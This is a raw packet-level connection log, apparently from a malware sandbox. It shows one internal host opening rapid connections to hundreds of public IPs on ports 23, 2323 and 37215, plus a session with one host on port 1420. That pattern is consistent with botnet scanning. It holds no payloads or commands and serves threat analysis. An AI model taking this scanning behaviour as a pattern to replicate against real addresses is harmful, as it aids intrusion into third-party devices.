Nov 3, 2024 15:33:08.257853985 CET	23	42298	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:08.257863045 CET	37215	44702	197.69.184.15	192.168.2.14
Nov 3, 2024 15:33:08.257889986 CET	57834	37215	192.168.2.14	156.98.94.204
Nov 3, 2024 15:33:08.257890940 CET	42298	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:08.257898092 CET	44702	37215	192.168.2.14	197.69.184.15
Nov 3, 2024 15:33:08.257920027 CET	44702	37215	192.168.2.14	197.69.184.15
Nov 3, 2024 15:33:08.257925034 CET	57834	37215	192.168.2.14	156.98.94.204
Nov 3, 2024 15:33:08.263228893 CET	37215	44702	197.69.184.15	192.168.2.14
Nov 3, 2024 15:33:08.263276100 CET	44702	37215	192.168.2.14	197.69.184.15
Nov 3, 2024 15:33:08.263391018 CET	37215	57834	156.98.94.204	192.168.2.14
Nov 3, 2024 15:33:08.263432980 CET	57834	37215	192.168.2.14	156.98.94.204
Nov 3, 2024 15:33:08.263971090 CET	23	42298	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:08.264043093 CET	42298	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:08.264370918 CET	42926	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:08.268786907 CET	23	42298	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:08.269095898 CET	23	42926	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:08.269145966 CET	42926	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:08.274430990 CET	23	42926	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:08.274494886 CET	42926	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:08.274791002 CET	42928	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:08.279409885 CET	23	42926	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:08.279598951 CET	23	42928	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:08.279640913 CET	42928	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:08.284652948 CET	23	42928	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:08.284713030 CET	42928	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:08.284876108 CET	45850	37215	192.168.2.14	41.110.52.200
Nov 3, 2024 15:33:08.284878969 CET	56422	23	192.168.2.14	66.43.145.95
Nov 3, 2024 15:33:08.284878969 CET	49214	23	192.168.2.14	18.89.87.117
Nov 3, 2024 15:33:08.284878969 CET	38756	37215	192.168.2.14	41.183.11.39
Nov 3, 2024 15:33:08.284878969 CET	44028	37215	192.168.2.14	197.218.170.223
Nov 3, 2024 15:33:08.284884930 CET	52366	23	192.168.2.14	68.78.197.131
Nov 3, 2024 15:33:08.284888029 CET	36150	37215	192.168.2.14	156.7.119.130
Nov 3, 2024 15:33:08.284888029 CET	39432	23	192.168.2.14	58.236.76.205
Nov 3, 2024 15:33:08.284890890 CET	46778	37215	192.168.2.14	197.39.77.74
Nov 3, 2024 15:33:08.284907103 CET	33756	37215	192.168.2.14	197.206.23.158
Nov 3, 2024 15:33:08.284907103 CET	36584	23	192.168.2.14	190.252.22.235
Nov 3, 2024 15:33:08.284909010 CET	39880	23	192.168.2.14	194.229.95.42
Nov 3, 2024 15:33:08.284909010 CET	36748	37215	192.168.2.14	156.233.106.32
Nov 3, 2024 15:33:08.284909964 CET	40414	23	192.168.2.14	166.57.28.207
Nov 3, 2024 15:33:08.284909964 CET	52254	37215	192.168.2.14	156.132.222.235
Nov 3, 2024 15:33:08.284909964 CET	59032	23	192.168.2.14	96.86.209.177
Nov 3, 2024 15:33:08.284909964 CET	52336	37215	192.168.2.14	197.119.212.153
Nov 3, 2024 15:33:08.284913063 CET	54646	37215	192.168.2.14	197.146.206.253
Nov 3, 2024 15:33:08.284914017 CET	42150	37215	192.168.2.14	156.198.30.156
Nov 3, 2024 15:33:08.284914017 CET	41682	37215	192.168.2.14	41.198.128.222
Nov 3, 2024 15:33:08.284914017 CET	58770	23	192.168.2.14	93.197.117.16
Nov 3, 2024 15:33:08.284924984 CET	38386	37215	192.168.2.14	41.249.78.239
Nov 3, 2024 15:33:08.284924984 CET	57546	23	192.168.2.14	202.71.47.74
Nov 3, 2024 15:33:08.284924984 CET	46416	23	192.168.2.14	203.226.190.38
Nov 3, 2024 15:33:08.284925938 CET	60404	23	192.168.2.14	93.178.4.158
Nov 3, 2024 15:33:08.284926891 CET	38932	37215	192.168.2.14	156.211.166.247
Nov 3, 2024 15:33:08.284928083 CET	47942	23	192.168.2.14	160.79.59.93
Nov 3, 2024 15:33:08.284928083 CET	51392	2323	192.168.2.14	202.107.75.62
Nov 3, 2024 15:33:08.284941912 CET	37288	23	192.168.2.14	201.102.51.122
Nov 3, 2024 15:33:08.284943104 CET	41558	23	192.168.2.14	223.146.144.78
Nov 3, 2024 15:33:08.284944057 CET	37016	37215	192.168.2.14	41.102.52.117
Nov 3, 2024 15:33:08.284944057 CET	52020	23	192.168.2.14	221.51.229.78
Nov 3, 2024 15:33:08.284944057 CET	43670	37215	192.168.2.14	156.79.77.68
Nov 3, 2024 15:33:08.285054922 CET	42930	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:08.289732933 CET	23	42928	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:08.289982080 CET	37215	45850	41.110.52.200	192.168.2.14
Nov 3, 2024 15:33:08.290028095 CET	45850	37215	192.168.2.14	41.110.52.200
Nov 3, 2024 15:33:08.290052891 CET	45850	37215	192.168.2.14	41.110.52.200
Nov 3, 2024 15:33:08.295226097 CET	37215	45850	41.110.52.200	192.168.2.14
Nov 3, 2024 15:33:08.295272112 CET	45850	37215	192.168.2.14	41.110.52.200
Nov 3, 2024 15:33:08.317009926 CET	48262	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:08.317009926 CET	37274	37215	192.168.2.14	197.146.192.174
Nov 3, 2024 15:33:08.317012072 CET	59178	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:08.317012072 CET	40344	23	192.168.2.14	200.87.169.165
Nov 3, 2024 15:33:08.317013025 CET	39950	37215	192.168.2.14	156.53.179.243
Nov 3, 2024 15:33:08.317013025 CET	56922	23	192.168.2.14	71.102.250.214
Nov 3, 2024 15:33:08.317013025 CET	53812	37215	192.168.2.14	41.71.163.79
Nov 3, 2024 15:33:08.317013025 CET	35644	37215	192.168.2.14	41.244.190.25
Nov 3, 2024 15:33:08.317018032 CET	34348	37215	192.168.2.14	197.153.87.52
Nov 3, 2024 15:33:08.317019939 CET	32794	23	192.168.2.14	168.61.185.185
Nov 3, 2024 15:33:08.317025900 CET	36850	37215	192.168.2.14	197.31.225.2
Nov 3, 2024 15:33:08.317025900 CET	52410	23	192.168.2.14	115.137.137.86
Nov 3, 2024 15:33:08.317025900 CET	55064	37215	192.168.2.14	156.100.125.226
Nov 3, 2024 15:33:08.317039013 CET	36132	37215	192.168.2.14	41.126.40.159
Nov 3, 2024 15:33:08.317040920 CET	48688	37215	192.168.2.14	41.33.156.0
Nov 3, 2024 15:33:08.317043066 CET	57164	23	192.168.2.14	213.231.65.178
Nov 3, 2024 15:33:08.317043066 CET	39992	37215	192.168.2.14	41.168.203.29
Nov 3, 2024 15:33:08.317043066 CET	49768	2323	192.168.2.14	154.119.121.135
Nov 3, 2024 15:33:08.317043066 CET	59736	23	192.168.2.14	31.125.136.204
Nov 3, 2024 15:33:08.317044020 CET	52838	2323	192.168.2.14	160.225.3.89
Nov 3, 2024 15:33:08.317043066 CET	60708	23	192.168.2.14	19.214.238.80
Nov 3, 2024 15:33:08.317044020 CET	59282	37215	192.168.2.14	156.253.95.85
Nov 3, 2024 15:33:08.317044020 CET	36228	23	192.168.2.14	209.129.129.97
Nov 3, 2024 15:33:08.317044020 CET	43848	23	192.168.2.14	94.178.187.157
Nov 3, 2024 15:33:08.317044020 CET	44900	37215	192.168.2.14	156.202.235.113
Nov 3, 2024 15:33:08.317044020 CET	58612	23	192.168.2.14	99.114.187.252
Nov 3, 2024 15:33:08.317044020 CET	34314	23	192.168.2.14	208.192.45.44
Nov 3, 2024 15:33:08.317048073 CET	60102	37215	192.168.2.14	197.200.15.170
Nov 3, 2024 15:33:08.317049980 CET	48258	23	192.168.2.14	110.36.39.59
Nov 3, 2024 15:33:08.321991920 CET	23	48262	202.167.120.231	192.168.2.14
Nov 3, 2024 15:33:08.322002888 CET	23	59178	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:08.322011948 CET	37215	37274	197.146.192.174	192.168.2.14
Nov 3, 2024 15:33:08.322038889 CET	48262	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:08.322042942 CET	59178	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:08.322057962 CET	37274	37215	192.168.2.14	197.146.192.174
Nov 3, 2024 15:33:08.322073936 CET	37274	37215	192.168.2.14	197.146.192.174
Nov 3, 2024 15:33:08.326936960 CET	23	48262	202.167.120.231	192.168.2.14
Nov 3, 2024 15:33:08.327007055 CET	48262	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:08.327019930 CET	23	59178	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:08.327161074 CET	37215	37274	197.146.192.174	192.168.2.14
Nov 3, 2024 15:33:08.327169895 CET	37215	37274	197.146.192.174	192.168.2.14
Nov 3, 2024 15:33:08.327198982 CET	37274	37215	192.168.2.14	197.146.192.174
Nov 3, 2024 15:33:08.327352047 CET	48792	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:08.327756882 CET	59178	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:08.328061104 CET	59680	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:08.331855059 CET	23	48262	202.167.120.231	192.168.2.14
Nov 3, 2024 15:33:08.332237959 CET	23	48792	202.167.120.231	192.168.2.14
Nov 3, 2024 15:33:08.332285881 CET	48792	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:08.332521915 CET	23	59178	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:08.337268114 CET	23	48792	202.167.120.231	192.168.2.14
Nov 3, 2024 15:33:08.337335110 CET	48792	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:08.337639093 CET	48796	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:08.348874092 CET	33994	37215	192.168.2.14	41.176.158.71
Nov 3, 2024 15:33:08.348874092 CET	33548	23	192.168.2.14	213.113.118.201
Nov 3, 2024 15:33:08.348885059 CET	42318	37215	192.168.2.14	156.157.48.250
Nov 3, 2024 15:33:08.348886013 CET	48792	37215	192.168.2.14	197.134.195.220
Nov 3, 2024 15:33:08.348886013 CET	47486	37215	192.168.2.14	156.197.175.23
Nov 3, 2024 15:33:08.348886013 CET	44614	37215	192.168.2.14	197.145.255.210
Nov 3, 2024 15:33:08.348890066 CET	38276	37215	192.168.2.14	156.60.157.78
Nov 3, 2024 15:33:08.348922968 CET	41776	37215	192.168.2.14	41.39.13.206
Nov 3, 2024 15:33:08.348922968 CET	44730	37215	192.168.2.14	41.22.53.118
Nov 3, 2024 15:33:08.348922968 CET	44876	37215	192.168.2.14	156.133.111.128
Nov 3, 2024 15:33:08.348923922 CET	43718	37215	192.168.2.14	156.168.50.185
Nov 3, 2024 15:33:08.348925114 CET	39398	37215	192.168.2.14	41.96.22.119
Nov 3, 2024 15:33:08.348927021 CET	48602	37215	192.168.2.14	41.166.104.120
Nov 3, 2024 15:33:08.348927021 CET	42506	37215	192.168.2.14	197.119.54.124
Nov 3, 2024 15:33:08.348942041 CET	43328	37215	192.168.2.14	156.45.220.1
Nov 3, 2024 15:33:08.348942041 CET	60530	37215	192.168.2.14	156.249.165.48
Nov 3, 2024 15:33:08.348942995 CET	50922	37215	192.168.2.14	156.207.157.252
Nov 3, 2024 15:33:08.348944902 CET	51444	37215	192.168.2.14	197.44.49.39
Nov 3, 2024 15:33:08.348946095 CET	41502	37215	192.168.2.14	41.213.232.198
Nov 3, 2024 15:33:08.356040001 CET	23	48792	202.167.120.231	192.168.2.14
Nov 3, 2024 15:33:08.356050968 CET	23	48796	202.167.120.231	192.168.2.14
Nov 3, 2024 15:33:08.356180906 CET	37215	33994	41.176.158.71	192.168.2.14
Nov 3, 2024 15:33:08.356195927 CET	48796	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:08.356237888 CET	33994	37215	192.168.2.14	41.176.158.71
Nov 3, 2024 15:33:08.356237888 CET	33994	37215	192.168.2.14	41.176.158.71
Nov 3, 2024 15:33:08.361491919 CET	23	48796	202.167.120.231	192.168.2.14
Nov 3, 2024 15:33:08.361561060 CET	48796	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:08.361800909 CET	37215	33994	41.176.158.71	192.168.2.14
Nov 3, 2024 15:33:08.361843109 CET	33994	37215	192.168.2.14	41.176.158.71
Nov 3, 2024 15:33:08.361865044 CET	48798	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:08.366399050 CET	23	48796	202.167.120.231	192.168.2.14
Nov 3, 2024 15:33:08.366672039 CET	23	48798	202.167.120.231	192.168.2.14
Nov 3, 2024 15:33:08.366719007 CET	48798	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:08.371860981 CET	23	48798	202.167.120.231	192.168.2.14
Nov 3, 2024 15:33:08.371925116 CET	48798	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:08.372219086 CET	48800	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:08.377120018 CET	23	48798	202.167.120.231	192.168.2.14
Nov 3, 2024 15:33:08.377130985 CET	23	48800	202.167.120.231	192.168.2.14
Nov 3, 2024 15:33:08.377166986 CET	48800	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:08.682951927 CET	23	58270	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.683300972 CET	58270	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.683749914 CET	58386	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.688055038 CET	23	58270	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.688555002 CET	23	58386	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.688625097 CET	58386	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.693533897 CET	23	58386	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.693614960 CET	58386	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.693969011 CET	58388	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.698471069 CET	23	58386	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.698751926 CET	23	58388	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.698827982 CET	58388	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.703836918 CET	23	58388	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.703936100 CET	58388	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.704301119 CET	58390	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.708770037 CET	23	58388	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.709156990 CET	23	58390	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.709197998 CET	58390	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.714160919 CET	23	58390	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.714236021 CET	58390	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.714585066 CET	58392	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.718995094 CET	23	58390	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.719403982 CET	23	58392	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.719454050 CET	58392	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.724889994 CET	23	58392	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.724976063 CET	58392	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.725305080 CET	58394	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.729710102 CET	23	58392	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.730093956 CET	23	58394	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.730137110 CET	58394	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.735111952 CET	23	58394	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.735188007 CET	58394	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.735532999 CET	58396	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.739953041 CET	23	58394	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.740573883 CET	23	58396	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.740624905 CET	58396	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.745630980 CET	23	58396	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.745722055 CET	58396	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.746042967 CET	58398	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.751295090 CET	23	58396	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.751317024 CET	23	58398	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.751357079 CET	58398	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.759510040 CET	23	58398	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.759591103 CET	58398	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.759951115 CET	58400	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.766519070 CET	23	58398	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.766801119 CET	23	58400	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.766846895 CET	58400	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.774178028 CET	23	58400	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.774254084 CET	58400	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.774610043 CET	58402	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.781171083 CET	23	58400	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.781328917 CET	23	58402	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.781390905 CET	58402	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.786432028 CET	23	58402	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.786526918 CET	58402	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.786847115 CET	58404	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.791501045 CET	23	58402	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.791587114 CET	23	58404	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.791626930 CET	58404	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.796796083 CET	23	58404	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.796865940 CET	58404	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.796892881 CET	58404	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.797230005 CET	58406	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.801673889 CET	23	58404	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.801995993 CET	23	58406	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.802053928 CET	58406	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.809142113 CET	23	58406	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.809232950 CET	58406	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.809550047 CET	58408	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.813996077 CET	23	58406	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.814328909 CET	23	58408	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.814373970 CET	58408	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.820025921 CET	23	58408	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.820101023 CET	58408	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.820426941 CET	58410	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:08.827419996 CET	23	58408	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.827429056 CET	23	58410	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:08.827501059 CET	58410	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:09.053766012 CET	34294	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:09.060709953 CET	1420	34294	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:09.060769081 CET	34294	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:09.061508894 CET	34294	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:09.067769051 CET	1420	34294	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:09.067837000 CET	34294	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:09.068286896 CET	1420	34294	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:09.074831963 CET	1420	34294	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:09.148988008 CET	51586	37215	192.168.2.14	197.12.141.193
Nov 3, 2024 15:33:09.148989916 CET	59912	23	192.168.2.14	39.199.141.240
Nov 3, 2024 15:33:09.148988962 CET	53468	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:09.148989916 CET	33176	37215	192.168.2.14	41.14.57.126
Nov 3, 2024 15:33:09.148991108 CET	35826	23	192.168.2.14	133.16.228.85
Nov 3, 2024 15:33:09.148993015 CET	52834	37215	192.168.2.14	41.37.66.5
Nov 3, 2024 15:33:09.148993969 CET	36468	37215	192.168.2.14	156.58.196.76
Nov 3, 2024 15:33:09.148993015 CET	45624	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:09.148991108 CET	59022	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:09.148993969 CET	37228	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:09.148991108 CET	55666	23	192.168.2.14	144.82.75.132
Nov 3, 2024 15:33:09.148992062 CET	42560	37215	192.168.2.14	197.53.160.110
Nov 3, 2024 15:33:09.148993015 CET	59082	23	192.168.2.14	149.152.23.218
Nov 3, 2024 15:33:09.149012089 CET	51232	37215	192.168.2.14	41.156.32.14
Nov 3, 2024 15:33:09.149012089 CET	35748	37215	192.168.2.14	41.14.37.113
Nov 3, 2024 15:33:09.149013042 CET	34266	23	192.168.2.14	120.177.102.56
Nov 3, 2024 15:33:09.149012089 CET	46500	37215	192.168.2.14	41.247.161.60
Nov 3, 2024 15:33:09.149019957 CET	45598	37215	192.168.2.14	156.244.104.217
Nov 3, 2024 15:33:09.149027109 CET	46796	37215	192.168.2.14	156.150.29.143
Nov 3, 2024 15:33:09.149027109 CET	38072	37215	192.168.2.14	41.104.63.38
Nov 3, 2024 15:33:09.149033070 CET	53032	37215	192.168.2.14	197.200.127.154
Nov 3, 2024 15:33:09.149038076 CET	47426	23	192.168.2.14	122.80.73.254
Nov 3, 2024 15:33:09.156044960 CET	37215	52834	41.37.66.5	192.168.2.14
Nov 3, 2024 15:33:09.156060934 CET	23	59912	39.199.141.240	192.168.2.14
Nov 3, 2024 15:33:09.156069994 CET	2323	45624	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:09.156080008 CET	37215	33176	41.14.57.126	192.168.2.14
Nov 3, 2024 15:33:09.156088114 CET	37215	51586	197.12.141.193	192.168.2.14
Nov 3, 2024 15:33:09.156096935 CET	23	53468	9.207.19.141	192.168.2.14
Nov 3, 2024 15:33:09.156105042 CET	37215	36468	156.58.196.76	192.168.2.14
Nov 3, 2024 15:33:09.156114101 CET	23	35826	133.16.228.85	192.168.2.14
Nov 3, 2024 15:33:09.156117916 CET	59912	23	192.168.2.14	39.199.141.240
Nov 3, 2024 15:33:09.156120062 CET	52834	37215	192.168.2.14	41.37.66.5
Nov 3, 2024 15:33:09.156126976 CET	23	37228	174.221.250.49	192.168.2.14
Nov 3, 2024 15:33:09.156127930 CET	45624	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:09.156131029 CET	33176	37215	192.168.2.14	41.14.57.126
Nov 3, 2024 15:33:09.156138897 CET	51586	37215	192.168.2.14	197.12.141.193
Nov 3, 2024 15:33:09.156138897 CET	53468	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:09.156150103 CET	35826	23	192.168.2.14	133.16.228.85
Nov 3, 2024 15:33:09.156163931 CET	36468	37215	192.168.2.14	156.58.196.76
Nov 3, 2024 15:33:09.156163931 CET	37228	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:09.156187057 CET	23	59022	121.12.149.163	192.168.2.14
Nov 3, 2024 15:33:09.156200886 CET	23	34266	120.177.102.56	192.168.2.14
Nov 3, 2024 15:33:09.156224012 CET	59022	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:09.156243086 CET	34266	23	192.168.2.14	120.177.102.56
Nov 3, 2024 15:33:09.156295061 CET	4833	2323	192.168.2.14	101.34.234.227
Nov 3, 2024 15:33:09.156306028 CET	4833	23	192.168.2.14	117.83.25.136
Nov 3, 2024 15:33:09.156318903 CET	52834	37215	192.168.2.14	41.37.66.5
Nov 3, 2024 15:33:09.156331062 CET	4833	23	192.168.2.14	97.55.15.194
Nov 3, 2024 15:33:09.156331062 CET	23	55666	144.82.75.132	192.168.2.14
Nov 3, 2024 15:33:09.156331062 CET	4833	23	192.168.2.14	66.199.189.192
Nov 3, 2024 15:33:09.156331062 CET	4833	23	192.168.2.14	65.105.43.156
Nov 3, 2024 15:33:09.156342030 CET	37215	42560	197.53.160.110	192.168.2.14
Nov 3, 2024 15:33:09.156342030 CET	4833	23	192.168.2.14	117.150.121.183
Nov 3, 2024 15:33:09.156344891 CET	4833	23	192.168.2.14	9.150.48.58
Nov 3, 2024 15:33:09.156344891 CET	4833	2323	192.168.2.14	53.200.155.251
Nov 3, 2024 15:33:09.156344891 CET	4833	23	192.168.2.14	113.59.187.96
Nov 3, 2024 15:33:09.156347990 CET	4833	23	192.168.2.14	69.74.136.96
Nov 3, 2024 15:33:09.156347990 CET	4833	23	192.168.2.14	65.184.247.193
Nov 3, 2024 15:33:09.156352043 CET	37215	51232	41.156.32.14	192.168.2.14
Nov 3, 2024 15:33:09.156352997 CET	4833	23	192.168.2.14	147.149.206.94
Nov 3, 2024 15:33:09.156352997 CET	4833	23	192.168.2.14	198.40.22.80
Nov 3, 2024 15:33:09.156361103 CET	23	59082	149.152.23.218	192.168.2.14
Nov 3, 2024 15:33:09.156369925 CET	37215	35748	41.14.37.113	192.168.2.14
Nov 3, 2024 15:33:09.156377077 CET	55666	23	192.168.2.14	144.82.75.132
Nov 3, 2024 15:33:09.156378984 CET	4847	37215	192.168.2.14	156.171.108.22
Nov 3, 2024 15:33:09.156378984 CET	37215	45598	156.244.104.217	192.168.2.14
Nov 3, 2024 15:33:09.156379938 CET	4833	23	192.168.2.14	78.24.159.130
Nov 3, 2024 15:33:09.156380892 CET	4833	23	192.168.2.14	159.100.98.2
Nov 3, 2024 15:33:09.156388998 CET	37215	46500	41.247.161.60	192.168.2.14
Nov 3, 2024 15:33:09.156392097 CET	4833	23	192.168.2.14	20.157.105.117
Nov 3, 2024 15:33:09.156393051 CET	4833	23	192.168.2.14	197.168.233.202
Nov 3, 2024 15:33:09.156393051 CET	51232	37215	192.168.2.14	41.156.32.14
Nov 3, 2024 15:33:09.156393051 CET	4833	23	192.168.2.14	155.134.152.242
Nov 3, 2024 15:33:09.156394005 CET	4833	23	192.168.2.14	151.96.52.151
Nov 3, 2024 15:33:09.156402111 CET	37215	46796	156.150.29.143	192.168.2.14
Nov 3, 2024 15:33:09.156405926 CET	4833	23	192.168.2.14	77.48.212.93
Nov 3, 2024 15:33:09.156405926 CET	4833	23	192.168.2.14	111.20.113.80
Nov 3, 2024 15:33:09.156408072 CET	42560	37215	192.168.2.14	197.53.160.110
Nov 3, 2024 15:33:09.156408072 CET	59082	23	192.168.2.14	149.152.23.218
Nov 3, 2024 15:33:09.156409025 CET	4833	23	192.168.2.14	32.129.231.150
Nov 3, 2024 15:33:09.156411886 CET	37215	38072	41.104.63.38	192.168.2.14
Nov 3, 2024 15:33:09.156416893 CET	4833	23	192.168.2.14	174.191.198.94
Nov 3, 2024 15:33:09.156421900 CET	37215	53032	197.200.127.154	192.168.2.14
Nov 3, 2024 15:33:09.156424999 CET	4833	23	192.168.2.14	14.177.183.129
Nov 3, 2024 15:33:09.156430960 CET	23	47426	122.80.73.254	192.168.2.14
Nov 3, 2024 15:33:09.156431913 CET	4833	23	192.168.2.14	78.73.160.163
Nov 3, 2024 15:33:09.156431913 CET	4833	23	192.168.2.14	180.133.129.93
Nov 3, 2024 15:33:09.156431913 CET	4833	23	192.168.2.14	220.228.148.201
Nov 3, 2024 15:33:09.156433105 CET	4833	23	192.168.2.14	83.224.226.133
Nov 3, 2024 15:33:09.156434059 CET	45598	37215	192.168.2.14	156.244.104.217
Nov 3, 2024 15:33:09.156435966 CET	4833	2323	192.168.2.14	106.169.243.100
Nov 3, 2024 15:33:09.156435966 CET	35748	37215	192.168.2.14	41.14.37.113
Nov 3, 2024 15:33:09.156435966 CET	4833	23	192.168.2.14	212.96.80.84
Nov 3, 2024 15:33:09.156436920 CET	4833	23	192.168.2.14	42.222.112.187
Nov 3, 2024 15:33:09.156436920 CET	4847	37215	192.168.2.14	197.86.1.46
